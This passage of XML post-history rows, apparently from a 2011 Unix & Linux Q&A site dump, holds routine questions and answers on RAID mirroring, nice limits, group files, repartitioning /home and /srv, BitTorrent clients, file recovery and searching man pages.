  <row Id="21303" PostHistoryTypeId="2" PostId="8980" RevisionGUID="ad202761-b2b6-4fdc-b789-a31b2c4f9e58" CreationDate="2011-03-10T10:38:57.023" UserId="5116" Text="I'd like to mirror my existing root (and only) partition on an SSD to another disk. It should be a sort of RAID-1, just asymmetric&lt;sup&gt;*&lt;/sup&gt;. I know there's the option `mdadm --write-behind`, which should do it.&#xD;&#xA;&#xD;&#xA;But I have no idea if it is possible with preserving the context of the existing partition. I imagine it like&#xD;&#xA;&#xD;&#xA;- create the &quot;slave&quot; partition&#xD;&#xA;- setup the RAID telling it that the slave partition is not initialized&#xD;&#xA;- let it initialize it by cloning the master partition&#xD;&#xA;&#xD;&#xA;but I'm probably too optimistic, aren't I?&#xD;&#xA;&#xD;&#xA;___&#xD;&#xA;&lt;sup&gt;* All reads should access the first disk and writes should be considered finished when the first disk is written.&lt;/sup&gt;" />
  <row Id="21304" PostHistoryTypeId="1" PostId="8980" RevisionGUID="ad202761-b2b6-4fdc-b789-a31b2c4f9e58" CreationDate="2011-03-10T10:38:57.023" UserId="5116" Text="How to raid-mirror existing root partition?" />
  <row Id="21305" PostHistoryTypeId="3" PostId="8980" RevisionGUID="ad202761-b2b6-4fdc-b789-a31b2c4f9e58" CreationDate="2011-03-10T10:38:57.023" UserId="5116" Text="ésoftwareöraidà" />
  <row Id="21306" PostHistoryTypeId="25" PostId="8973" RevisionGUID="c509801c-a5a2-42d9-9b74-ddf8d8ada6f7" CreationDate="2011-03-10T11:23:39.503" Comment="http://twitter.com/#!/StackUnix/status/45807020728778752" />
  <row Id="21307" PostHistoryTypeId="2" PostId="8981" RevisionGUID="68049d09-6d83-44ac-94e8-ee1be8ce8a61" CreationDate="2011-03-10T11:32:21.567" UserId="5589" Text="For first-time Gentoo users, I strongly suggest using `genkernel` instead of plain `make menuconfig`. By default, `genkernel` will include all drivers it *thinks* is required.&#xD;&#xA;&#xD;&#xA;If you have the time, re-run `genkernel` and *gradually* reduce the drivers you don't need, edit `grub.conf`, and reboot. Keep reducing. Note the settings (get the `.config` file).&#xD;&#xA;&#xD;&#xA;Then do a re-installation, this time use the `.config` file and go straight to `make`.&#xD;&#xA;&#xD;&#xA;(Well, at least that's how * I * did it. Takes time, but ultimately satisfying :-) )" />
  <row Id="21308" PostHistoryTypeId="2" PostId="8982" RevisionGUID="b366a0b0-872b-40cc-ae36-c2cd9b0cc93f" CreationDate="2011-03-10T12:01:53.797" UserId="4518" Text="`apropos` works great for searching manual page names and descriptions. Is there a similar command for searching the entire contents of the manual pages?" />
  <row Id="21309" PostHistoryTypeId="1" PostId="8982" RevisionGUID="b366a0b0-872b-40cc-ae36-c2cd9b0cc93f" CreationDate="2011-03-10T12:01:53.797" UserId="4518" Text="apropos for whole man pages" />
  <row Id="21310" PostHistoryTypeId="3" PostId="8982" RevisionGUID="b366a0b0-872b-40cc-ae36-c2cd9b0cc93f" CreationDate="2011-03-10T12:01:53.797" UserId="4518" Text="émanàésearchà" />
  <row Id="21311" PostHistoryTypeId="2" PostId="8983" RevisionGUID="9db754d2-07a6-4543-8d8f-52fcd5420045" CreationDate="2011-03-10T12:02:04.397" UserId="5588" Text="Hi all,&#xD;&#xA;&#xD;&#xA;Could someone tell me how to set the default value of &quot;nice&quot; (as displayed by &quot;top&quot;) of a user? I have found that /etc/security/limits.conf is the place but if I put either:&#xD;&#xA;&#xD;&#xA;&gt; username_of_a_guy  -  nice  19&#xD;&#xA;&#xD;&#xA;&gt; username_of_a_guy  soft  nice  19&#xD;&#xA;&#xD;&#xA;&gt; username_of_a_guy  hard  nice  19&#xD;&#xA;&#xD;&#xA;It doesn't work (while it should, right?).&#xD;&#xA;&#xD;&#xA;Note that I've rebooted since then.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you _very much_ in advance for any help. I'm using debian unstable (uptodate).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Context:&#xD;&#xA;&#xD;&#xA;At my work, we have a local network: everyone has its own computer and everyone can create an account on someone else's machine if one likes. The rule of thumb is simply that if you work on someone else computer, please nice your processes (nice 19).&#xD;&#xA;&#xD;&#xA;I would like to set the default nice value for a given user to 19 once and for all (he pretends he forgets all the time to nice).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[ps: nice, limits.conf, default, not-root-user are the tags I would have put for this thread if I could.]" />
  <row Id="21312" PostHistoryTypeId="1" PostId="8983" RevisionGUID="9db754d2-07a6-4543-8d8f-52fcd5420045" CreationDate="2011-03-10T12:02:04.397" UserId="5588" Text="Set default nice value for a given user (limits.conf)" />
  <row Id="21313" PostHistoryTypeId="3" PostId="8983" RevisionGUID="9db754d2-07a6-4543-8d8f-52fcd5420045" CreationDate="2011-03-10T12:02:04.397" UserId="5588" Text="ésecurityàénotörootöuseràémanagementà" />
  <row Id="21314" PostHistoryTypeId="6" PostId="8983" RevisionGUID="7eea63fe-1b82-4860-9ebf-dcd9541094e6" CreationDate="2011-03-10T12:09:13.293" UserId="2511" Comment="edited tags" Text="ésecurityàénotörootöuseràéniceàélimità" />
  <row Id="21315" PostHistoryTypeId="5" PostId="8983" RevisionGUID="66d9de71-e7a8-4713-9063-78c1fd6043e4" CreationDate="2011-03-10T12:36:21.173" UserId="5588" Comment="added 2 characters in body; edited tags" Text="Hi all,&#xD;&#xA;&#xD;&#xA;Could someone tell me how to set the default value of `nice` (as displayed by `top`) of a user? I have found that /etc/security/limits.conf is the place but if I put either:&#xD;&#xA;&#xD;&#xA;&gt; username_of_a_guy  -  nice  19&#xD;&#xA;&#xD;&#xA;&gt; username_of_a_guy  soft  nice  19&#xD;&#xA;&#xD;&#xA;&gt; username_of_a_guy  hard  nice  19&#xD;&#xA;&#xD;&#xA;It doesn't work (while it should, right?).&#xD;&#xA;&#xD;&#xA;Note that I've rebooted since then.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you _very much_ in advance for any help. I'm using debian unstable (uptodate).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Context:&#xD;&#xA;&#xD;&#xA;At my work, we have a local network: everyone has its own computer and everyone can create an account on someone else's machine if one likes. The rule of thumb is simply that if you work on someone else computer, please nice your processes (`nice 19`).&#xD;&#xA;&#xD;&#xA;I would like to set the default nice value for a given user to 19 once and for all (he pretends he forgets all the time to nice).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[ps: nice, limits.conf, default, not-root-user are the tags I would have put for this thread if I could.]" />
  <row Id="21316" PostHistoryTypeId="6" PostId="8983" RevisionGUID="66d9de71-e7a8-4713-9063-78c1fd6043e4" CreationDate="2011-03-10T12:36:21.173" UserId="5588" Comment="added 2 characters in body; edited tags" Text="ésecurityàénotörootöuseràélimitàéniceà" />
  <row Id="21317" PostHistoryTypeId="5" PostId="8951" RevisionGUID="a75f6c5c-46e2-414f-9408-baf3fea71e8b" CreationDate="2011-03-10T12:37:06.690" UserId="2511" Comment="add gshadow information" Text="It's true that you can just edit the text file `/etc/group`. It sounds like you have either deleted too much, or else left the file in a broken state. It needs to be one entry per line, in this format:&#xD;&#xA;&#xD;&#xA;    group_name:x:###:&#xD;&#xA;&#xD;&#xA;for &quot;empty&quot; groups, or&#xD;&#xA;&#xD;&#xA;    group_name:x:###:username&#xD;&#xA;&#xD;&#xA;for groups with one member, or&#xD;&#xA;&#xD;&#xA;    group_name:x:###:username2,username2&#xD;&#xA;&#xD;&#xA;for groups with multiple members. I put &quot;empty&quot; in quotes because you can also be a member of a group if it's set as your primary group in `/etc/passwd` — it's the fourth field there.&#xD;&#xA;&#xD;&#xA;(The &quot;x&quot; can actually be a password hash, but that's very rarely used these days. It's almost certainly going to be all &quot;x&quot;s on your system.)&#xD;&#xA;&#xD;&#xA;If you have extraneous blank lines, or badly formatted ones, that could mess things up.&#xD;&#xA;&#xD;&#xA;The file also needs to have world-readable permissions.&#xD;&#xA;&#xD;&#xA;Ideally, you have a backup of the file from a few months ago. But, I understand the real world. :)&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;There is also a file `/etc/gshadow`. If you *are* using group passwords (and like I said, almost nobody does), their hash values should be kept here instead of `/etc/group`, because this file is supposed to be only readable by root. This file can also be used to designate group administrators, who have the ability to add members using certain command-line tools. (I don't know of anyone using this functionality either.)&#xD;&#xA;&#xD;&#xA;This file _should_ be kept in sync with `/etc/group`. Using command-line or GUI tools to manage groups will do that automatically, which is another reason to consider using those rather than just editing the file. However, in actual practice, this file can be quite out of sync and even all munged up and your system will generally work fine. It won't result in the error you're seeing." />
  <row Id="21318" PostHistoryTypeId="6" PostId="8950" RevisionGUID="b5525646-10a7-405d-bf0b-e6d6cc80d4bc" CreationDate="2011-03-10T12:37:40.873" UserId="2511" Comment="edited tags" Text="éusersàégroupà" />
  <row Id="21319" PostHistoryTypeId="5" PostId="8983" RevisionGUID="d5b2ced6-dfcf-408e-aed8-00fa2fed03fb" CreationDate="2011-03-10T12:48:18.827" UserId="5588" Comment="added 5 characters in body" Text="Hi all,&#xD;&#xA;&#xD;&#xA;Could someone tell me how to set the default value of `nice` (as displayed by `top`) of a user? I have found that /etc/security/limits.conf is the place but if I put either:&#xD;&#xA;&#xD;&#xA;&gt; username_of_a_guy  -  nice  19&#xD;&#xA;&#xD;&#xA;&gt; username_of_a_guy  soft  nice  19&#xD;&#xA;&#xD;&#xA;&gt; username_of_a_guy  hard  nice  19&#xD;&#xA;&#xD;&#xA;It doesn't work (while it should, right?).&#xD;&#xA;&#xD;&#xA;Note that I've rebooted since then.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you _very much_ in advance for any help. I'm using debian unstable (uptodate).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Context:&#xD;&#xA;&#xD;&#xA;At my work, we have a local network: everyone has its own computer and everyone can create an account on someone else's machine if one likes. The rule of thumb is simply that if you work on someone else computer, please nice your processes (`nice 19`).&#xD;&#xA;&#xD;&#xA;I would like to set the default nice value for a given user to 19 once and for all (he pretends he forgets all the time to nice).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[ps: nice, limits.conf, default, not-root-user are the tags I would have put for this thread if I could have.]" />
  <row Id="21320" PostHistoryTypeId="2" PostId="8984" RevisionGUID="6c04157f-9731-487b-a728-204a2b5b8116" CreationDate="2011-03-10T12:57:57.930" UserId="5588" Text="Installing debian (with net-install) on a computer and realise after rebooting that I had somehow skipped the part where one is supposed to choose which packets to install.&#xD;&#xA;&#xD;&#xA;Sure, a non-graphical system with basically only `pwd`, `ls` and `cd` is working just fine ;)." />
  <row Id="21321" PostHistoryTypeId="2" PostId="8985" RevisionGUID="2df302bd-e7e4-4a57-bce6-2239e4e08b4c" CreationDate="2011-03-10T13:04:34.243" UserId="2511" Text="I can confirm that that doesn't work on my system either. The docs say &quot;kernel 2.6.11 and up&quot;, and I'm on Fedora rawhide with kernel 2.6.38-rc6. I wonder if it is scheduler-dependent, and doesn't work with the introduced-in-2.6.23 CFQ (&quot;Completely Fair Scheduler&quot;).&#xD;&#xA;&#xD;&#xA;Something that will work, though, is the impossible-to-search-for-because-of-its-horrible-name `and` — the auto-nice daemon. See &#xD;&#xA;http://and.sourceforge.net/. This is available from Fedora with `yum install and`, but unfortunately doesn't seem to be in EPEL. And it's in Debian too: `apt-get install and`.&#xD;&#xA;&#xD;&#xA;If you are using a modern distribution, though, there's an Even Better Way. You can use the tools from [libcgroup][1] to set up a kernel-level [cgroup][2] limiting CPU shares, and to automatically &quot;classify&quot; that user's processes into this cgroup. With this, you can also prioritize I/O, and limit memory usage (including share of the disk cache).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://libcg.sourceforge.net/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Cgroups" />
  <row Id="21322" PostHistoryTypeId="2" PostId="8986" RevisionGUID="1837aae2-fe6c-4278-a0c2-036373a7924e" CreationDate="2011-03-10T13:30:12.787" UserId="4518" Text="Is there a Linux command like `cat` that joins files with the same number of lines horizontally?" />
  <row Id="21323" PostHistoryTypeId="1" PostId="8986" RevisionGUID="1837aae2-fe6c-4278-a0c2-036373a7924e" CreationDate="2011-03-10T13:30:12.787" UserId="4518" Text="Horizontal file concatenation" />
  <row Id="21324" PostHistoryTypeId="3" PostId="8986" RevisionGUID="1837aae2-fe6c-4278-a0c2-036373a7924e" CreationDate="2011-03-10T13:30:12.787" UserId="4518" Text="écommandàécatà" />
  <row Id="21325" PostHistoryTypeId="2" PostId="8987" RevisionGUID="c34141f0-26fe-4c8d-b330-1ca9ff5529a8" CreationDate="2011-03-10T13:32:56.620" UserId="3976" Text="I believe the correct format is:&#xD;&#xA;&#xD;&#xA;    @users      -       priority        10&#xD;&#xA;    username    -       priority        19&#xD;&#xA;&#xD;&#xA;This is an example of the settings I am using in production (obviously with real users/groups)." />
  <row Id="21327" PostHistoryTypeId="5" PostId="8987" RevisionGUID="78c96ddb-671e-47dc-b3af-22817a659331" CreationDate="2011-03-10T13:38:55.697" UserId="3976" Comment="added 123 characters in body" Text="I believe the correct format is:&#xD;&#xA;&#xD;&#xA;    @users      -       priority        10&#xD;&#xA;    username    -       priority        19&#xD;&#xA;&#xD;&#xA;This is an example of the settings I am using in production (obviously with real users/groups).&#xD;&#xA;&#xD;&#xA;The `nice` setting is to determine the maximum nice value someone can set their process to, not their default priority." />
  <row Id="21328" PostHistoryTypeId="2" PostId="8988" RevisionGUID="01f975b7-d5b9-46c8-a149-314cdfa3a068" CreationDate="2011-03-10T13:44:39.333" UserId="5582" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm not very deep into this mounting/unmouting think on Linux, so here goes my question:&#xD;&#xA;&#xD;&#xA;With `df -h` I get the following overview:&#xD;&#xA;&#xD;&#xA;    Filesystem            Size  Used Avail Use% Mounted on&#xD;&#xA;    /dev/sda1             323M  306M     0 100% /&#xD;&#xA;    tmpfs                 502M     0  502M   0% /lib/init/rw&#xD;&#xA;    udev                  497M  116K  497M   1% /dev&#xD;&#xA;    tmpfs                 502M     0  502M   0% /dev/shm&#xD;&#xA;    /dev/sda9              47G  181M   44G   1% /home&#xD;&#xA;    /dev/sda8             368M   12M  338M   4% /tmp&#xD;&#xA;    /dev/sda5             8,3G  1,1G  6,8G  14% /usr&#xD;&#xA;    /dev/sda6             2,8G  433M  2,2G  17% /var&#xD;&#xA;&#xD;&#xA;I'm using this machine as web server where all web related stuff resides under `/srv/`. As this is part of `/` I'm out of disk space here. I saw `/home` having 44G available web space, which is pure nonsense in my case. So I want to have `/home` not as own partition (rather part of `/`), but `/srv` as own partition, grabbing the space consumed by `/home`. So after that `df -h` should look like this (`/home` replaced by `/srv`):&#xD;&#xA;&#xD;&#xA;    Filesystem            Size  Used Avail Use% Mounted on&#xD;&#xA;    /dev/sda1             323M  306M     0 100% /&#xD;&#xA;    tmpfs                 502M     0  502M   0% /lib/init/rw&#xD;&#xA;    udev                  497M  116K  497M   1% /dev&#xD;&#xA;    tmpfs                 502M     0  502M   0% /dev/shm&#xD;&#xA;    /dev/sda9              47G  181M   44G   1% /srv&#xD;&#xA;    /dev/sda8             368M   12M  338M   4% /tmp&#xD;&#xA;    /dev/sda5             8,3G  1,1G  6,8G  14% /usr&#xD;&#xA;    /dev/sda6             2,8G  433M  2,2G  17% /var&#xD;&#xA;&#xD;&#xA;What have to do to get here?" />
  <row Id="21329" PostHistoryTypeId="1" PostId="8988" RevisionGUID="01f975b7-d5b9-46c8-a149-314cdfa3a068" CreationDate="2011-03-10T13:44:39.333" UserId="5582" Text="How to change mount points" />
  <row Id="21330" PostHistoryTypeId="3" PostId="8988" RevisionGUID="01f975b7-d5b9-46c8-a149-314cdfa3a068" CreationDate="2011-03-10T13:44:39.333" UserId="5582" Text="épartitionàémountà" />
  <row Id="21331" PostHistoryTypeId="2" PostId="8989" RevisionGUID="75115d99-adc7-4db9-bb3a-143499b26106" CreationDate="2011-03-10T13:49:14.250" UserId="4671" Text="What would people recommend as a free (as in freedom) BitTorrent client on Linux? Wikipedia has a [Comparison of BitTorrent clients](http://en.wikipedia.org/wiki/Comparison_of_BitTorrent_clients). For the record, I'm currently using [QBittorrent](http://qbittorrent.sourceforge.net/), which I'm quite satisfied with, as of recent versions, which are nicely featured and stable. I'm currently running 2.6.7 on Debian Squeeze. The version on lenny (1.1) was a bit dodgy, but the project was quite young then.&#xD;&#xA;&#xD;&#xA;However, it does not hurt to learn what else is out there.&#xD;&#xA;I'm quite partial to Python software, if any Python BitTorrent clients exist. QBittorrent is written in C++. Many of the most popular BitTorrent clients are proprietary, judging by the Wikipedia page." />
  <row Id="21332" PostHistoryTypeId="1" PostId="8989" RevisionGUID="75115d99-adc7-4db9-bb3a-143499b26106" CreationDate="2011-03-10T13:49:14.250" UserId="4671" Text="best bittorrent client on Linux" />
  <row Id="21333" PostHistoryTypeId="3" PostId="8989" RevisionGUID="75115d99-adc7-4db9-bb3a-143499b26106" CreationDate="2011-03-10T13:49:14.250" UserId="4671" Text="ébittorrentà" />
  <row Id="21334" PostHistoryTypeId="2" PostId="8990" RevisionGUID="9eb42c6a-f343-4f3e-87df-6c81e1f64b1e" CreationDate="2011-03-10T13:52:47.850" UserId="4355" Text="I've used [ktorrent][1], and been quite happy with it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ktorrent.org &quot;ktorrent&quot;" />
  <row Id="21335" PostHistoryTypeId="2" PostId="8991" RevisionGUID="cf378e61-f4ce-4677-9c0f-c42a891dcb05" CreationDate="2011-03-10T13:54:56.150" UserId="5594" Text="Hello,&#xD;&#xA;&#xD;&#xA;For me it is [Transmission][1], simple, light and fast. But if you want a more friendly UI, you can check [Vuze][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.transmissionbt.com/&#xD;&#xA;  [2]: http://azureus.sourceforge.net/" />
  <row Id="21336" PostHistoryTypeId="2" PostId="8992" RevisionGUID="b7461e98-74ee-4384-a2b8-2d8fbacf08c4" CreationDate="2011-03-10T13:56:14.667" UserId="3645" Text="[`join`][1] should do the trick - You just need to prefix the lines with an identical ID.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.albany.edu/~ig4895/join.htm" />
  <row Id="21337" PostHistoryTypeId="2" PostId="8993" RevisionGUID="92e2a556-f378-492b-a61b-99a1ed174880" CreationDate="2011-03-10T13:57:30.780" UserId="4949" Text="Before you do anything you're going to have to figure out a place to keep the 180 megabytes of data that /home is currently taking up. I'd recommend repartitioning the current /dev/sda9 into, say, two gigs for `/home` and 42 for `/srv`.&#xD;&#xA;&#xD;&#xA;Next up you're going to have to be a little tricky. This is all best accomplished in single user mode so that only root is logged on and you don't run into trouble with someone trying to access `/home` while you're moving it around.&#xD;&#xA;&#xD;&#xA;You've got a decent amount of room in /var, so we'll use that as a temporary holding space: &#xD;&#xA;`mkdir /var/tmp/oldhome`&#xD;&#xA;&#xD;&#xA;`cd /home`&#xD;&#xA;&#xD;&#xA;`tar -cvf - ./ | ( cd /var/tmp/oldhome &amp;&amp; tar -xvf - )&#xD;&#xA;&#xD;&#xA;Now we've got `/home` backed up to someplace while we repartition `/dev/sda9` into 2 gigs for `/dev/sda9` and 42 gigs for `/dev/sda10`&#xD;&#xA;&#xD;&#xA;Once you've finished repartitioning and creating new filesystems (I'm going to assume you know how to do this) you'll need to edit `/etc/fstab`.&#xD;&#xA;&#xD;&#xA;Somewhere in there you'll see a line saying something along the lines of &#xD;&#xA;&#xD;&#xA;`/dev/sda9            /home      ext3     defaults    0   2`&#xD;&#xA;&#xD;&#xA;Assuming that you've made `/dev/sda9` the smaller of the two partitions, you can leave that line unchanged; you'll just need to add &#xD;&#xA;&#xD;&#xA;`/dev/sda10           /srv       ext3     defaults    0   2`&#xD;&#xA;&#xD;&#xA;directly underneath. &#xD;&#xA;&#xD;&#xA;Once those lines have been added, simply enter &#xD;&#xA;&#xD;&#xA;`mount /home ; mount /srv`&#xD;&#xA;&#xD;&#xA;and check with `df -h` to make sure both partitions are mounted.&#xD;&#xA;&#xD;&#xA;Then replace the data from /home:&#xD;&#xA;&#xD;&#xA;`cd /var/tmp/oldhome`&#xD;&#xA;&#xD;&#xA;`tar -cvf - ./ | ( cd /home &amp;&amp; tar -xvf - ) `&#xD;&#xA;&#xD;&#xA;Reboot your system in multi-user mode and everything should work." />
  <row Id="21338" PostHistoryTypeId="6" PostId="8989" RevisionGUID="a8774bd8-1ea4-4778-bd39-a2c8fcc1f460" CreationDate="2011-03-10T14:01:53.787" UserId="2511" Comment="edited tags" Text="ésoftwareörecàébittorrentà" />
  <row Id="21339" PostHistoryTypeId="2" PostId="8994" RevisionGUID="5dae29c9-8aff-4a5d-ad42-7e18e99412fc" CreationDate="2011-03-10T14:06:43.987" UserId="732" Text="`paste` may do the trick.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     7:07AM 49 % cat t1 &#xD;&#xA;    a&#xD;&#xA;    b&#xD;&#xA;    c&#xD;&#xA;    c&#xD;&#xA;    d&#xD;&#xA;    f&#xD;&#xA;    g&#xD;&#xA;     7:07AM 50 % cat t2 &#xD;&#xA;    h&#xD;&#xA;    i&#xD;&#xA;    j&#xD;&#xA;    k&#xD;&#xA;    l&#xD;&#xA;    m&#xD;&#xA;    n&#xD;&#xA;     7:07AM 51 % paste t1 t2 &#xD;&#xA;    a       h&#xD;&#xA;    b       i&#xD;&#xA;    c       j&#xD;&#xA;    c       k&#xD;&#xA;    d       l&#xD;&#xA;    f       m&#xD;&#xA;    g       n&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;At least some of the time, you don't need to have a &quot;key&quot; to concatenate the lines." />
  <row Id="21340" PostHistoryTypeId="2" PostId="8995" RevisionGUID="122db57e-352e-4bfe-97da-da30a4b003d5" CreationDate="2011-03-10T14:10:31.073" UserId="4949" Text="I'd personally concur with @sahid's recommendation of transmission, but if your heart is absolutely set on a python application then [Deluge][1] is more than worth a try.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://deluge-torrent.org/" />
  <row Id="21341" PostHistoryTypeId="2" PostId="8996" RevisionGUID="4b071aa4-c200-4a11-aea9-2feee99854f4" CreationDate="2011-03-10T14:21:26.670" UserId="4335" Text="rTorrent is quite good as well. It's CLI based client. But has great features." />
  <row Id="21342" PostHistoryTypeId="2" PostId="8997" RevisionGUID="30aaa56e-31be-4f78-a4f8-1d2b8d6d85b9" CreationDate="2011-03-10T14:23:15.610" UserId="5454" Text="For the next generation of *decentralized* torrent software, check out [tribler][1].  Oh, and yes, it's Python :)&#xD;&#xA;&#xD;&#xA;+1 for rTorrent and Transmission, too, depending on your use case.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tribler.org/" />
  <row Id="21343" PostHistoryTypeId="25" PostId="8989" RevisionGUID="351d8d57-b054-4477-9d17-5a539e2f127d" CreationDate="2011-03-10T14:23:40.127" Comment="http://twitter.com/#!/StackUnix/status/45852321674047488" />
  <row Id="21344" PostHistoryTypeId="5" PostId="8991" RevisionGUID="a7369de0-5d88-4255-8252-bfc1f2fcc7bf" CreationDate="2011-03-10T14:36:43.010" UserId="688" Comment="deleted 10 characters in body" Text="For me it is [Transmission][1], simple, light and fast. But if you want a more friendly UI, you can check [Vuze][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.transmissionbt.com/&#xD;&#xA;  [2]: http://azureus.sourceforge.net/" />
  <row Id="21345" PostHistoryTypeId="4" PostId="8982" RevisionGUID="35de1c4d-3870-4fad-857a-79e2431bbba0" CreationDate="2011-03-10T14:50:00.953" UserId="250" Comment="edited title" Text="Full text search for man pages" />
  <row Id="21346" PostHistoryTypeId="2" PostId="8998" RevisionGUID="00bb18f4-35ad-41ec-8779-e1fe94acaca7" CreationDate="2011-03-10T14:55:06.940" UserId="3633" Text="As a quick but not very beautiful solution, you could remount a directory on one of your less-used disk to some point under `/srv` and move something there to clear a bit of space on `/srv` proper.&#xD;&#xA;&#xD;&#xA;Read about `--bind` in `man mount`. It boils down to something like `mount --bind /some/spare/dir /busy/dir/mountpoint`. It works on any modern Linux." />
  <row Id="21347" PostHistoryTypeId="2" PostId="8999" RevisionGUID="3161a126-0f87-48ec-a8b5-8477cd0d6312" CreationDate="2011-03-10T14:59:19.210" UserId="688" Text="I'm looking for a simple GUI telnet client. I only ever used the CLI one, simply named **`telnet`**." />
  <row Id="21348" PostHistoryTypeId="1" PostId="8999" RevisionGUID="3161a126-0f87-48ec-a8b5-8477cd0d6312" CreationDate="2011-03-10T14:59:19.210" UserId="688" Text="Please recommend a GUI telnet client" />
  <row Id="21349" PostHistoryTypeId="3" PostId="8999" RevisionGUID="3161a126-0f87-48ec-a8b5-8477cd0d6312" CreationDate="2011-03-10T14:59:19.210" UserId="688" Text="énetworkingàésoftwareörecàéguià" />
  <row Id="21350" PostHistoryTypeId="5" PostId="8998" RevisionGUID="079c29ee-206c-40c3-9b78-8399b1df968c" CreationDate="2011-03-10T15:01:41.630" UserId="3633" Comment="added 428 characters in body" Text="As a quick but not very beautiful solution, you could remount a directory on one of your less-used disk to some point under `/srv` and move something there to clear a bit of space on `/srv` proper.&#xD;&#xA;&#xD;&#xA;Read about `--bind` in `man mount`. It boils down to something like `mount --bind /some/spare/dir /busy/dir/mountpoint`. It works on any modern Linux.&#xD;&#xA;&#xD;&#xA;Suppose that you have `/srv/some/stuff`. &#xD;&#xA;&#xD;&#xA;* `mkdir /home/offload/some/stuff` — this is on the 44G free space partition&#xD;&#xA;* `mv /srv/some/stuff /srv/some/previous-stuff` — temporarily, free up the name&#xD;&#xA;* `mount --bind /home/offload/some/stuff /srv/some/stuff` — now some/stuff is on another partition!&#xD;&#xA;* `mv /srv/some/previous-stuff/* /srv/some/stuff` — put things back under the original name, free up the space on /srv." />
  <row Id="21351" PostHistoryTypeId="2" PostId="9000" RevisionGUID="5264d8c9-4cd5-4c63-923e-1a87b3a8ae46" CreationDate="2011-03-10T15:03:32.917" UserId="1245" Text="I have a situation, a colleage of mine overwrote PHP files that I've made changes to , is it possible to roll back a file to a previous working version using the command line. No svn repositories are available and also not any backups." />
  <row Id="21352" PostHistoryTypeId="1" PostId="9000" RevisionGUID="5264d8c9-4cd5-4c63-923e-1a87b3a8ae46" CreationDate="2011-03-10T15:03:32.917" UserId="1245" Text="Rolling back a file" />
  <row Id="21353" PostHistoryTypeId="3" PostId="9000" RevisionGUID="5264d8c9-4cd5-4c63-923e-1a87b3a8ae46" CreationDate="2011-03-10T15:03:32.917" UserId="1245" Text="écommandölineàécentosà" />
  <row Id="21354" PostHistoryTypeId="2" PostId="9001" RevisionGUID="a5f5c51a-2f8f-48b5-9151-3754dbc99fd4" CreationDate="2011-03-10T15:05:21.620" UserId="5600" Text="By using the command man man we can see that we have two options.&#xD;&#xA;&#xD;&#xA;       -k     Equivalent to apropos.&#xD;&#xA;&#xD;&#xA;       -K     Search  for  the  specified  string in *all* man pages. Warning:&#xD;&#xA;              this is probably very slow!  It  helps  to  specify  a  section.&#xD;&#xA;              (Just  to  give  a  rough idea, on my machine this takes about a&#xD;&#xA;              minute per 500 man pages.)&#xD;&#xA;&#xD;&#xA;This is on a RHEL 5 system" />
  <row Id="21355" PostHistoryTypeId="2" PostId="9002" RevisionGUID="2fb53087-c8e0-4127-b12e-7a1f61bf80ca" CreationDate="2011-03-10T15:08:49.603" UserId="4949" Text="I'm sorry to say that if you didn't make any backups, you're almost certainly SOL here, especially from the command line.&#xD;&#xA;&#xD;&#xA;Unlinking (deleting) a file can sometimes leave the data recoverable as long as nothing else grabs that particular inode; editing a file overwrites the data.&#xD;&#xA;&#xD;&#xA;If your colleague still has the editor he was working in open and its undo buffer is long enough, that *might* be a way to recover the original, but beyond that I'm afraid you're sunk. Sorry." />
  <row Id="21356" PostHistoryTypeId="2" PostId="9003" RevisionGUID="14f7b679-075b-4502-9381-9c9afbc68b95" CreationDate="2011-03-10T15:11:53.690" UserId="4949" Text="I'm baffled as to why you'd need one, but [PuTTY][1] comes with a linux client. It's open source, exists in the Debian repositories, and as an added bonus speaks SSH as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tucows.com/preview/602074" />
  <row Id="21357" PostHistoryTypeId="2" PostId="9004" RevisionGUID="05bc75b2-7c64-403d-87d7-982bafd4ecf7" CreationDate="2011-03-10T15:13:03.003" UserId="3976" Text="Assuming you're using ext3, it might be possible to recover it if the replacement file was created as another inode (instead of overwriting the existing file), by using `debugfs` on the unmounted filesystem, and to find the inode of the original file.  Unfortunately, if your colleage overwrite the file, rather than moving it aside and then deleting it, it's gone.  I would suggest using `debugfs` with **extreme caution**, because you can seriously mess up a filesystem.  It's use is only really for a last-ditch effort." />
  <row Id="21358" PostHistoryTypeId="2" PostId="9005" RevisionGUID="c70e14e3-7585-4b64-87d9-ad21196bd5a6" CreationDate="2011-03-10T15:14:34.857" UserId="5454" Text="two options for you.  first, you can try this script:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    for MANFILE in /usr/share/man/man?/*&#xD;&#xA;    do&#xD;&#xA;        found=`zcat $MANFILE | grep -c &quot;$1&quot;`&#xD;&#xA;        if [ $found -gt 0 ]; then&#xD;&#xA;            echo &quot;------ Found in $MANFILE&quot;&#xD;&#xA;            man -P cat $MANFILE | grep --color=auto &quot;$1&quot;&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;save it as `searchman.sh` or some-such, and, optionally make it executable and stick it somewhere in your `$PATH`.  The just run `sh searchman.sh &lt;query&gt;`.  (note: i've just thrown this together quickly now.  I've tested it and it looks to be all good, but it might need tweaking here and there.)&#xD;&#xA;&#xD;&#xA;secondly, and especially if you're using Ubuntu, you can use http://manpages.ubuntu.com/ - there are a number of 